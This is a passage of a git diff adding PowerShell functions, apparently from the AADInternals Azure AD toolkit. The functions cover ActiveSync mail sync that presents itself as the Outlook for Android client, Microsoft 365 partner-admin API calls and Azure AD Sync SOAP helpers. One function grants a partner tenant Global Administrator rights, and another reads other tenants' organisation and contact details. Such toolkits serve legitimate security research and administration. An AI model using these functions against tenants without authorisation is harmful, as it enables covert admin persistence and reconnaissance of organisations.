"User-Agent" = "Outlook-Android/2.0"
|
||||
"connect" = "GET"
|
||||
}
|
||||
|
||||
$response=Invoke-WebRequest -UseBasicParsing "https://outlook.office365.com/outlookservice/servicechannel.hxs" -Headers $headers -Body $OutlookFrame -Method Post -TimeOutSec 300
|
||||
|
||||
$responseBytes = [byte[]]$response.Content
|
||||
|
||||
[xml]$responseXml = O365WBXML2XML -wbxml $responseBytes
|
||||
|
||||
# Return
|
||||
$responseXml.InnerXml
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
function Get-EASMails
|
||||
{
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[System.Management.Automation.PSCredential]$Credentials,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[guid]$DeviceId,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$DeviceType="Android",
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$OSVersion="5.0.2",
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$ClientVersion="4.0.90 (379) prod",
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$OutlookVersion="16.0.12317.33832",
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$OutlookTitle="Outlook for iOS and Android"
|
||||
)
|
||||
Process
|
||||
{
|
||||
|
||||
$settings = Get-EASSettings -Credentials $Credentials -AccessToken $AccessToken
|
||||
$anchorMailBox = $settings.AnchorMailBox
|
||||
|
||||
$request=@"
|
||||
<frames>
|
||||
<frame>
|
||||
<block>
|
||||
<_FF_05 xmlns="_FF">
|
||||
<_FF_07 xmlns="_FF">
|
||||
<EXT_2>01</EXT_2>
|
||||
</_FF_07>
|
||||
<_FF_06 xmlns="_FF">
|
||||
<EXT_2>01</EXT_2>
|
||||
</_FF_06>
|
||||
<_FF_08 xmlns="_FF">sync</_FF_08>
|
||||
<_FF_09 xmlns="_FF">$((New-Guid).ToString())</_FF_09>
|
||||
<_FF_0D xmlns="_FF">
|
||||
<EXT_2>04</EXT_2>
|
||||
</_FF_0D>
|
||||
<_FF_0E xmlns="_FF">
|
||||
<EXT_2>0B</EXT_2>
|
||||
</_FF_0E>
|
||||
<_FF_0F xmlns="_FF">
|
||||
<EXT_2>1C03</EXT_2>
|
||||
</_FF_0F>
|
||||
<_FF_19 xmlns="_FF">$($DeviceId.ToString())</_FF_19>
|
||||
<_FF_16 xmlns="_FF"/>
|
||||
<_FF_2B xmlns="_FF">$ClientVersion</_FF_2B>
|
||||
<_FF_18 xmlns="_FF">$OutlookVersion</_FF_18>
|
||||
<_FF_1A xmlns="_FF">$OSVersion</_FF_1A>
|
||||
<_FF_1B xmlns="_FF">$DeviceType</_FF_1B>
|
||||
<_FF_1F xmlns="_FF"/>
|
||||
<_FF_2A xmlns="_FF"/>
|
||||
<_FF_20 xmlns="_FF">
|
||||
<_FF_21 xmlns="_FF">
|
||||
<_FF_22 xmlns="_FF">
|
||||
<EXT_2>01</EXT_2>
|
||||
</_FF_22>
|
||||
<_FF_23 xmlns="_FF">$((New-Guid).ToString())</_FF_23>
|
||||
</_FF_21>
|
||||
<_FF_21 xmlns="_FF">
|
||||
<_FF_22 xmlns="_FF">
|
||||
<EXT_2>02</EXT_2>
|
||||
</_FF_22>
|
||||
<_FF_23 xmlns="_FF">true</_FF_23>
|
||||
</_FF_21>
|
||||
<_FF_21 xmlns="_FF">
|
||||
<_FF_22 xmlns="_FF">
|
||||
<EXT_2>03</EXT_2>
|
||||
</_FF_22>
|
||||
<_FF_23 xmlns="_FF">0</_FF_23>
|
||||
</_FF_21>
|
||||
<_FF_21 xmlns="_FF">
|
||||
<_FF_22 xmlns="_FF">
|
||||
<EXT_2>04</EXT_2>
|
||||
</_FF_22>
|
||||
<_FF_23 xmlns="_FF">true</_FF_23>
|
||||
</_FF_21>
|
||||
<_FF_21 xmlns="_FF">
|
||||
<_FF_22 xmlns="_FF">
|
||||
<EXT_2>06</EXT_2>
|
||||
</_FF_22>
|
||||
<_FF_23 xmlns="_FF">true</_FF_23>
|
||||
</_FF_21>
|
||||
<_FF_21 xmlns="_FF">
|
||||
<_FF_22 xmlns="_FF">
|
||||
<EXT_2>08</EXT_2>
|
||||
</_FF_22>
|
||||
<_FF_23 xmlns="_FF">true</_FF_23>
|
||||
</_FF_21>
|
||||
<_FF_21 xmlns="_FF">
|
||||
<_FF_22 xmlns="_FF">
|
||||
<EXT_2>0B</EXT_2>
|
||||
</_FF_22>
|
||||
<_FF_23 xmlns="_FF">true</_FF_23>
|
||||
</_FF_21>
|
||||
<_FF_21 xmlns="_FF">
|
||||
<_FF_22 xmlns="_FF">
|
||||
<EXT_2>09</EXT_2>
|
||||
</_FF_22>
|
||||
<_FF_23 xmlns="_FF">true</_FF_23>
|
||||
</_FF_21>
|
||||
<_FF_21 xmlns="_FF">
|
||||
<_FF_22 xmlns="_FF">
|
||||
<EXT_2>0E</EXT_2>
|
||||
</_FF_22>
|
||||
<_FF_23 xmlns="_FF">true</_FF_23>
|
||||
</_FF_21>
|
||||
<_FF_21 xmlns="_FF">
|
||||
<_FF_22 xmlns="_FF">
|
||||
<EXT_2>07</EXT_2>
|
||||
</_FF_22>
|
||||
<_FF_23 xmlns="_FF">2</_FF_23>
|
||||
</_FF_21>
|
||||
<_FF_21 xmlns="_FF">
|
||||
<_FF_22 xmlns="_FF">
|
||||
<EXT_2>0A</EXT_2>
|
||||
</_FF_22>
|
||||
<_FF_23 xmlns="_FF">true</_FF_23>
|
||||
</_FF_21>
|
||||
<_FF_21 xmlns="_FF">
|
||||
<_FF_22 xmlns="_FF">
|
||||
<EXT_2>0F</EXT_2>
|
||||
</_FF_22>
|
||||
<_FF_23 xmlns="_FF">true</_FF_23>
|
||||
</_FF_21>
|
||||
</_FF_20>
|
||||
<_FF_26 xmlns="_FF">
|
||||
<EXT_2>02</EXT_2>
|
||||
</_FF_26>
|
||||
<_FF_25 xmlns="_FF">
|
||||
<EXT_2>00</EXT_2>
|
||||
</_FF_25>
|
||||
</_FF_05>
|
||||
</block>
|
||||
<block>
|
||||
<_E0_3B xmlns="_E0">
|
||||
<_E0_3C xmlns="_E0">$OutlookVersion</_E0_3C>
|
||||
<_E0_3D xmlns="_E0"/>
|
||||
<_E1_1B xmlns="_E1"/>
|
||||
<_E1_1C xmlns="_E1"/>
|
||||
<_E1_1D xmlns="_E1">$OutlookTitle</_E1_1D>
|
||||
<_E1_1E xmlns="_E1"/>
|
||||
<_E1_1F xmlns="_E1"/>
|
||||
<_E0_3E xmlns="_E0">
|
||||
<EXT_2>01</EXT_2>
|
||||
</_E0_3E>
|
||||
<_10_11 xmlns="_10">
|
||||
<EXT_2>01</EXT_2>
|
||||
</_10_11>
|
||||
<_1B_22 xmlns="_1B">
|
||||
<EXT_2>01</EXT_2>
|
||||
</_1B_22>
|
||||
</_E0_3B>
|
||||
</block>
|
||||
</frame>
|
||||
</frames>
|
||||
"@
|
||||
|
||||
$response=Get-EASSyncStatus -Credentials $Credentials -AccessToken $AccessToken -AnchorMailBox $anchorMailBox -OutlookFrame ([byte[]](XML2O365WBXML -xml $request))
|
||||
|
||||
$response
|
||||
}
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
+335
@@ -0,0 +1,335 @@
|
||||
# This file contains functions utilising https://admin.microsoft.com API
|
||||
|
||||
# Approves the delegated admin request
|
||||
# Sep 22nd 2021
|
||||
function Approve-MSPartnerDelegatedAdminRequest
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Assigns Delegated Admin Permissions (DAP) for the given partner organisation.
|
||||
|
||||
.DESCRIPTION
|
||||
Assigns Delegated Admin Permissions (DAP) for the given partner organisation.
|
||||
|
||||
.Parameter TenantId
|
||||
TenantId of the partner organisation.
|
||||
|
||||
.Parameter Domain
|
||||
Any registered domain of the partner organisation.
|
||||
|
||||
.Example
|
||||
PS C:\>Get-AADIntAccessTokenForAdmin -SaveToCache
|
||||
PS C:\>Approve-AADIntMSPartnerDelegatedAdminRequest -Domain company.com
|
||||
|
||||
responseCode message
|
||||
------------ -------
|
||||
success
|
||||
|
||||
.Example
|
||||
PS C:\>Get-AADIntAccessTokenForAdmin -SaveToCache
|
||||
PS C:\>Approve-AADIntMSPartnerDelegatedAdminRequest -TenantId c7e52a77-e461-4f2e-a652-573305414be9
|
||||
|
||||
responseCode message
|
||||
------------ -------
|
||||
success
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(ParameterSetName='TenantId',Mandatory=$True)]
|
||||
[guid]$TenantId,
|
||||
[Parameter(ParameterSetName='Domain',Mandatory=$True)]
|
||||
[String]$Domain,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken
|
||||
)
|
||||
Process
|
||||
{
|
||||
if($Domain)
|
||||
{
|
||||
$TenantId = Get-TenantID -Domain $Domain
|
||||
}
|
||||
|
||||
$body = @{
|
||||
"authorizeDelegateAdminData" = [ordered]@{
|
||||
"msppId" = 0
|
||||
"partnerId" = $TenantId
|
||||
"companyName" = " "
|
||||
"indirectCSPId" = ""
|
||||
"userTenantId" = (Read-Accesstoken $AccessToken).tid
|
||||
"enableDap" = $true
|
||||
"invitationType" = "Administration"
|
||||
"address" = $null
|
||||
"roles" = @(
|
||||
"62e90394-69f5-4237-9190-012177145e10" # Global Administrator
|
||||
"729827e3-9c14-49f7-bb1b-9608f156bbb8" # Helpdesk Administrator
|
||||
)
|
||||
"userPrincipalName" = $null
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
$response = Invoke-AdminAPI -Method Post -AccessToken $AccessToken -Url "fd/commerceMgmt/partnermanage/partners/csp/delegatedaccess?api-version=2.1" -Body ($body | ConvertTo-Json)
|
||||
}
|
||||
catch
|
||||
{
|
||||
Write-Error ($_.ErrorDetails.Message | ConvertFrom-Json).error.message
|
||||
return
|
||||
}
|
||||
|
||||
$response
|
||||
}
|
||||
}
|
||||
|
||||
# Gets the list of partners
|
||||
# Dec 9th 2021
|
||||
function Get-MSPartners
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Shows organisation's partners.
|
||||
|
||||
.DESCRIPTION
|
||||
Shows organisation's partners using Admin API.
|
||||
|
||||
.Parameter AccessToken
|
||||
Access token to retrieve partners.
|
||||
|
||||
.Example
|
||||
PS C:\>Get-AADIntAccessTokenForAdmin -SaveToCache
|
||||
PS C:\>Get-AADIntMSPartners
|
||||
|
||||
Identity : b1f6d5cc-f1d3-41d9-b88c-1d177aaf171b
|
||||
DisplayName : Partner Ltd
|
||||
Email : pmanager@company.com
|
||||
Website : http://www.company.com
|
||||
Phone : +1234567890
|
||||
Relationship : Indirect Reseller and Admin
|
||||
TypeDetail : PartnerAdmin
|
||||
CanDelete : False
|
||||
CanRemoveDap : True
|
||||
AllDataRetrieved : True
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken
|
||||
)
|
||||
Process
|
||||
{
|
||||
try
|
||||
{
|
||||
$response = Invoke-AdminAPI -AccessToken $AccessToken -Url "admin/api/Partners/GetPartners" -Method Post
|
||||
}
|
||||
catch
|
||||
{
|
||||
if($_.ErrorDetails.Message)
|
||||
{
|
||||
throw $_.ErrorDetails.Message
|
||||
}
|
||||
else
|
||||
{
|
||||
throw $_.Exception.Message
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
$response
|
||||
}
|
||||
}
|
||||
|
||||
# Returns access token for the requested resource
|
||||
# Dec 9th 2021
|
||||
function Get-AccessTokenUsingAdminAPI
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Gets access token for the requested resource using Admin API.
|
||||
|
||||
.DESCRIPTION
|
||||
Gets access token for the requested resource using Admin API.
|
||||
|
||||
.Parameter Access
|
||||
Some supported type of access token.
|
||||
|
||||
.Parameter TokenType
|
||||
The type of the access token to return
|
||||
|
||||
.Example
|
||||
PS C:\>Get-AADIntAccessTokenForAdmin -SaveToCache
|
||||
PS C:\>$at = Get-AADIntAccessTokenUsingAdminAPI -TokenType PortalAT
|
||||
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[ValidateSet('PortalAT','BusinessStoreAT')]
|
||||
[String]$TokenType="PortalAT",
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[Microsoft.PowerShell.Commands.WebRequestSession]$WebSession
|
||||
)
|
||||
Process
|
||||
{
|
||||
Invoke-AdminAPI -AccessToken $AccessToken -Url "admin/api/users/getuseraccesstoken?tokenType=$TokenType" -Method Get -WebSession $WebSession
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
# Approves the delegated admin request
|
||||
# Dec 11th 2021
|
||||
function Remove-MSPartnerDelegatedAdminRoles
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Removes Delegated Admin Permissions (DAP) from the given partner organisation.
|
||||
|
||||
.DESCRIPTION
|
||||
Removes Delegated Admin Permissions (DAP) from the given partner organisation.
|
||||
|
||||
.Parameter TenantId
|
||||
TenantId of the partner organisation.
|
||||
|
||||
.Parameter Domain
|
||||
Any registered domain of the partner organisation.
|
||||
|
||||
.Example
|
||||
PS C:\>Get-AADIntAccessTokenForAdmin -SaveToCache
|
||||
PS C:\>Remove-AADIntMSPartnerDelegatedAdminRoles -Domain company.com
|
||||
|
||||
responseCode message
|
||||
------------ -------
|
||||
success
|
||||
|
||||
.Example
|
||||
PS C:\>Get-AADIntAccessTokenForAdmin -SaveToCache
|
||||
PS C:\>Remove-AADIntMSPartnerDelegatedAdminRoles -TenantId c7e52a77-e461-4f2e-a652-573305414be9
|
||||
|
||||
responseCode message
|
||||
------------ -------
|
||||
success
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(ParameterSetName='TenantId',Mandatory=$True)]
|
||||
[guid]$TenantId,
|
||||
[Parameter(ParameterSetName='Domain',Mandatory=$True)]
|
||||
[String]$Domain,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken
|
||||
)
|
||||
Process
|
||||
{
|
||||
if($Domain)
|
||||
{
|
||||
$TenantId = Get-TenantID -Domain $Domain
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
$response = Invoke-AdminAPI -Method Delete -AccessToken $AccessToken -Url "fd/commerceMgmt/partnermanage/partners/csp/$TenantId/delegatedaccess?api-version=2.1"
|
||||
}
|
||||
catch
|
||||
{
|
||||
Write-Error ($_.ErrorDetails.Message | ConvertFrom-Json).error.message
|
||||
return
|
||||
}
|
||||
|
||||
$response
|
||||
}
|
||||
}
|
||||
|
||||
# Returns tenant organisation information
|
||||
# Jan 26th 2022
|
||||
function Get-TenantOrganisationInformation
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Returns organisation information for the given tenant.
|
||||
|
||||
.DESCRIPTION
|
||||
Returns organisation information for the given tenant using commercial API used to get Partner Tenant information.
|
||||
|
||||
.Parameter AccessToken
|
||||
Access Token used to fetch information. Can be any standard user of any tenant.
|
||||
|
||||
.Parameter TenantId
|
||||
TenantId of the target tenant.
|
||||
|
||||
.Parameter Domain
|
||||
Domain name of the target tenant.
|
||||
|
||||
.Example
|
||||
PS C:\>Get-AADIntAccessTokenForAdmin -SaveToCache
|
||||
|
||||
PS C:\>Get-AADIntTenantOrganisationInformation -Domain "company.com"
|
||||
|
||||
TenantId : 043050e2-7993-416a-ae66-108ab1951612
|
||||
CompanyName : Company Ltd
|
||||
StreetAddress : 10 Wall Street
|
||||
ApartmentOrSuite : 666
|
||||
City : New York
|
||||
StateOrProvince : NY
|
||||
PostalCode : 10005
|
||||
CountryCode : US
|
||||
PhoneNumber : 1234567890
|
||||
FirstName : John
|
||||
LastName : Doe
|
||||
#>
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken,
|
||||
[Parameter(ParameterSetName='Domain',Mandatory=$True)]
|
||||
[String]$Domain,
|
||||
[Parameter(ParameterSetName='TenantId',Mandatory=$True)]
|
||||
[guid]$TenantId
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Get from cache if not provided
|
||||
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://admin.microsoft.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
|
||||
|
||||
if($Domain)
|
||||
{
|
||||
[guid]$TenantId = [guid](Get-TenantID -Domain $Domain)
|
||||
}
|
||||
|
||||
if($TenantId -eq ([guid](Read-AccessToken $AccessToken).tid))
|
||||
{
|
||||
Write-Error "Can't query information from your own tenant. Log in to another tenant and try again."
|
||||
return
|
||||
}
|
||||
|
||||
$headers = @{
|
||||
"Authorization" = "Bearer $AccessToken"
|
||||
"Accept" = "application/json; charset=utf-8"
|
||||
}
|
||||
$response = Invoke-WebRequest -UseBasicParsing -uri "https://admin.microsoft.com/fd/commerceMgmt/partnermanage/partners/csp/$($TenantId.toString())/delegatedaccess?invType=Administration&api-version=2.1" -Headers $headers
|
||||
|
||||
# Content is utf-8 encoded json, but response headers don't have encoding information
|
||||
$responseBytes = New-Object byte[] $response.RawContentLength
|
||||
$response.RawContentStream.Read($responseBytes,0,$response.RawContentLength)
|
||||
$responseObj = ConvertFrom-Json -InputObject ([text.encoding]::UTF8.GetString($responseBytes))
|
||||
|
||||
$tenantInfo = $responseObj.authorizeDelegateAdminData
|
||||
|
||||
$attributes = [ordered]@{
|
||||
"TenantId" = $tenantInfo.partnerId
|
||||
"CompanyName" = $tenantInfo.companyName
|
||||
"StreetAddress" = $tenantInfo.address.line1
|
||||
"ApartmentOrSuite" = $tenantInfo.address.line2
|
||||
#"Line3" = $tenantInfo.address.line3
|
||||
"City" = $tenantInfo.address.city
|
||||
"StateOrProvince" = $tenantInfo.address.state
|
||||
"PostalCode" = $tenantInfo.address.postalCode
|
||||
"CountryCode" = $tenantInfo.address.countryCode
|
||||
"PhoneNumber" = $tenantInfo.address.phoneNumber
|
||||
"FirstName" = $tenantInfo.address.firstName
|
||||
"LastName" = $tenantInfo.address.lastName
|
||||
}
|
||||
|
||||
New-Object psobject -Property $attributes
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,46 @@
|
||||
# This file contains utility functions for Admin operations.
|
||||
|
||||
# Invoke Admin API
|
||||
# Dec 11th 2021
|
||||
function Invoke-AdminAPI
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken,
|
||||
[Parameter(Mandatory=$False)]
|
||||
$Body,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Url,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[ValidateSet('Get','Post','Patch','Put','Delete')]
|
||||
[String]$Method,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[Microsoft.PowerShell.Commands.WebRequestSession]$WebSession
|
||||
)
|
||||
Process
|
||||
{
|
||||
$headers=@{}
|
||||
|
||||
# If we got WebSession, no need for Access Token
|
||||
if($WebSession -eq $null)
|
||||
{
|
||||
# Get from cache if not provided
|
||||
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://admin.microsoft.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
|
||||
|
||||
# Set the headers
|
||||
$headers["Authorization"] = "Bearer $AccessToken"
|
||||
|
||||
# Create a new web session
|
||||
$WebSession = New-Object Microsoft.PowerShell.Commands.WebRequestSession
|
||||
}
|
||||
|
||||
# Set cookie maximun size the returned cookies exceeds the normal maximum size 4096
|
||||
$WebSession.Cookies.MaxCookieSize=65536
|
||||
|
||||
# Invoke the command
|
||||
$response = Invoke-RestMethod -UseBasicParsing -Method $Method -Uri "https://admin.microsoft.com/$Url" -Headers $headers -Body $body -WebSession $WebSession
|
||||
|
||||
$response
|
||||
}
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,336 @@
|
||||
# Initial AADSync server name
|
||||
$aadsync_server= "adminwebservice.microsoftonline.com"
|
||||
$aadsync_client_version="8.0"
|
||||
$aadsync_client_build= "1.5.29.0"
|
||||
|
||||
# Checks whether the response has redirect
|
||||
function IsRedirectResponse
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[xml]$xml_doc
|
||||
|
||||
)
|
||||
Process
|
||||
{
|
||||
try
|
||||
{
|
||||
$url=$xml_doc.Envelope.Body.Fault.Detail.BindingRedirectionFault.Url
|
||||
if([string]::IsNullOrEmpty($url))
|
||||
{
|
||||
$message=$xml_doc.Envelope.Body.Fault.Reason.Text.'#text'
|
||||
if(![string]::IsNullOrEmpty($url))
|
||||
{
|
||||
$Script:aadsync_server=$url.Split('/')[2]
|
||||
Write-Verbose "ISREDIRECTRESPONSE: Changed server to $Script:aadsync_server"
|
||||
return $True
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
$Script:aadsync_server=$url.Split('/')[2]
|
||||
Write-Verbose "ISREDIRECTRESPONSE: Changed server to $Script:aadsync_server"
|
||||
return $True
|
||||
}
|
||||
|
||||
return IsErrorResponse($xml_doc)
|
||||
|
||||
}
|
||||
catch
|
||||
{
|
||||
throw $_
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
# Checks whether the response has redirect
|
||||
function IsErrorResponse
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[xml]$xml_doc
|
||||
|
||||
)
|
||||
Process
|
||||
{
|
||||
$error=Select-Xml -Xml $xml_doc -XPath "//*[local-name()='ErrorDescription']"
|
||||
if([string]::IsNullOrEmpty($error))
|
||||
{
|
||||
# All good
|
||||
return $False
|
||||
}
|
||||
else
|
||||
{
|
||||
# Got error, so throw an exception
|
||||
throw $error.Node.'#text'
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
# Create SOAP envelope for ADSync
|
||||
function Create-SyncEnvelope
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$AccessToken,
|
||||
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Command,
|
||||
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Body,
|
||||
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Message_id,
|
||||
|
||||
[Parameter()]
|
||||
[String]$Server="adminwebservice.microsoftonline.com",
|
||||
|
||||
[Parameter()]
|
||||
[switch]$Binary,
|
||||
|
||||
[Parameter()]
|
||||
[bool]$IsInstalledOnDc=$False,
|
||||
|
||||
[Parameter()]
|
||||
[bool]$RichCoexistenceEnabled=$False,
|
||||
|
||||
[Parameter()]
|
||||
[int]$Version=1
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Set the client ID
|
||||
if($Version -eq 2)
|
||||
{
|
||||
$applicationClient= "6eb59a73-39b2-4c23-a70f-e2e3ce8965b1"
|
||||
}
|
||||
else
|
||||
{
|
||||
$applicationClient = "1651564e-7ce4-4d99-88be-0a65050d8dc3"
|
||||
}
|
||||
|
||||
# Create the envelope
|
||||
$envelope=@"
|
||||
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://www.w3.org/2005/08/addressing">
|
||||
<s:Header>
|
||||
<a:Action s:mustUnderstand="1">http://schemas.microsoft.com/online/aws/change/2010/01/IProvisioningWebService/$Command</a:Action>
|
||||
<SyncToken s:role="urn:microsoft.online.administrativeservice" xmlns="urn:microsoft.online.administrativeservice" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
|
||||
<ApplicationId xmlns="http://schemas.microsoft.com/online/aws/change/2010/01">$applicationClient</ApplicationId>
|
||||
<BearerToken xmlns="http://schemas.microsoft.com/online/aws/change/2010/01">$AccessToken</BearerToken>
|
||||
<ClientVersion xmlns="http://schemas.microsoft.com/online/aws/change/2010/01">$aadsync_client_version</ClientVersion>
|
||||
<DirSyncBuildNumber xmlns="http://schemas.microsoft.com/online/aws/change/2010/01">$aadsync_client_build</DirSyncBuildNumber>
|
||||
<FIMBuildNumber xmlns="http://schemas.microsoft.com/online/aws/change/2010/01">$aadsync_client_build</FIMBuildNumber>
|
||||
<IsInstalledOnDC xmlns="http://schemas.microsoft.com/online/aws/change/2010/01">$IsInstalledOnDc</IsInstalledOnDC>
|
||||
<IssueDateTime xmlns="http://schemas.microsoft.com/online/aws/change/2010/01">0001-01-01T00:00:00</IssueDateTime>
|
||||
<LanguageId xmlns="http://schemas.microsoft.com/online/aws/change/2010/01">en-US</LanguageId>
|
||||
<LiveToken xmlns="http://schemas.microsoft.com/online/aws/change/2010/01"/>
|
||||
<ProtocolVersion xmlns="http://schemas.microsoft.com/online/aws/change/2010/01">2.0</ProtocolVersion>
|
||||
<RichCoexistenceEnabled xmlns="http://schemas.microsoft.com/online/aws/change/2010/01">$RichCoexistenceEnabled</RichCoexistenceEnabled>
|
||||
<TrackingId xmlns="http://schemas.microsoft.com/online/aws/change/2010/01">$Message_id</TrackingId>
|
||||
</SyncToken>
|
||||
<a:MessageID>urn:uuid:$message_id</a:MessageID>
|
||||
<a:ReplyTo>
|
||||
<a:Address>http://www.w3.org/2005/08/addressing/anonymous</a:Address>
|
||||
</a:ReplyTo>
|
||||
<a:To s:mustUnderstand="1">https://$Server/provisioningservice.svc</a:To>
|
||||
</s:Header>
|
||||
<s:Body>
|
||||
$Body
|
||||
</s:Body>
|
||||
</s:Envelope>
|
||||
"@
|
||||
# Debug
|
||||
Write-Debug "ENVELOPE ($Command): $envelope"
|
||||
|
||||
# Return the envelope as binary if requested
|
||||
if($Binary)
|
||||
{
|
||||
return XmlToBinary $envelope -Dictionary (Get-XmlDictionary -Type WCF)
|
||||
}
|
||||
else
|
||||
{
|
||||
$envelope
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
# Calls the ADSync SOAP API
|
||||
function Call-ADSyncAPI
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[byte[]]$Envelope,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[string]$Command,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[string]$Tenant_id,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[string]$Message_id,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[string]$Server="adminwebservice.microsoftonline.com"
|
||||
)
|
||||
Process
|
||||
{
|
||||
$headers=@{
|
||||
"Host" = $Server
|
||||
"x-ms-aadmsods-appid"= "1651564e-7ce4-4d99-88be-0a65050d8dc3"
|
||||
"x-ms-aadmsods-apiaction"= $Command
|
||||
"client-request-id"= $Message_id
|
||||
"x-ms-aadmsods-clientversion"= $aadsync_client_version
|
||||
"x-ms-aadmsods-dirsyncbuildnumber"=$aadsync_client_build
|
||||
"x-ms-aadmsods-fimbuildnumber"= $aadsync_client_build
|
||||
"x-ms-aadmsods-tenantid"= $Tenant_id
|
||||
"User-Agent"=""
|
||||
|
||||
|
||||
}
|
||||
# Verbose
|
||||
Write-Debug "CALL-ADSYNCAPI HEADERS: $($headers | Out-String)"
|
||||
|
||||
$stream=$null
|
||||
|
||||
# Call the API
|
||||
try
|
||||
{
|
||||
# Sometimes no error at all..?
|
||||
$response=Invoke-WebRequest -UseBasicParsing -Uri "https://$Server/provisioningservice.svc" -ContentType "application/soap+msbin1" -Method POST -Body $envelope -Headers $headers
|
||||
$stream=$response.RawContentStream
|
||||
}
|
||||
catch
|
||||
{
|
||||
# Should give error 500
|
||||
$Exception = $_.Exception
|
||||
if($Exception.Message -like "*500*")
|
||||
{
|
||||
$stream=$Exception.Response.GetResponseStream()
|
||||
}
|
||||
else
|
||||
{
|
||||
Throw $Exception
|
||||
}
|
||||
}
|
||||
|
||||
$bytes=$stream.toArray()
|
||||
$bytes
|
||||
}
|
||||
}
|
||||
|
||||
# Utility function for Provision-AzureADSyncObject to add property value
|
||||
function Add-PropertyValue
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Key,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[PSobject]$Value,
|
||||
[ValidateSet('string','bool','base64','long','ArrayOfstring','ArrayOfbase64')]
|
||||
[String]$Type="string"
|
||||
)
|
||||
Process
|
||||
{
|
||||
|
||||
if(![string]::IsNullOrEmpty($Value))
|
||||
{
|
||||
$PropBlock="<c:KeyValueOfstringanyType><c:Key>$Key</c:Key>"
|
||||
switch($Type)
|
||||
{
|
||||
'long' { $PropBlock += "<c:Value i:type=""d:long"" xmlns:d=""http://www.w3.org/2001/XMLSchema"">$Value</c:Value>" }
|
||||
'bool' { $PropBlock += "<c:Value i:type=""d:boolean"" xmlns:d=""http://www.w3.org/2001/XMLSchema"">$($Value.toString().toLower())</c:Value>" }
|
||||
'base64'{ $PropBlock += "<c:Value i:type=""d:base64Binary"" xmlns:d=""http://www.w3.org/2001/XMLSchema"">$Value</c:Value>" }
|
||||
'ArrayOfstring'{
|
||||
$PropBlock += "<c:Value i:type=""c:ArrayOfstring"">"
|
||||
foreach($stringValue in $Value)
|
||||
{
|
||||
$PropBlock += "<c:string>$stringValue</c:string>"
|
||||
}
|
||||
|
||||
$PropBlock += "</c:Value>"
|
||||
}
|
||||
'ArrayOfbase64'{
|
||||
$PropBlock += "<c:Value i:type=""c:ArrayOfbase64Binary"">"
|
||||
foreach($stringValue in $Value)
|
||||
{
|
||||
$PropBlock += "<c:base64Binary>$stringValue</c:base64Binary>"
|
||||
}
|
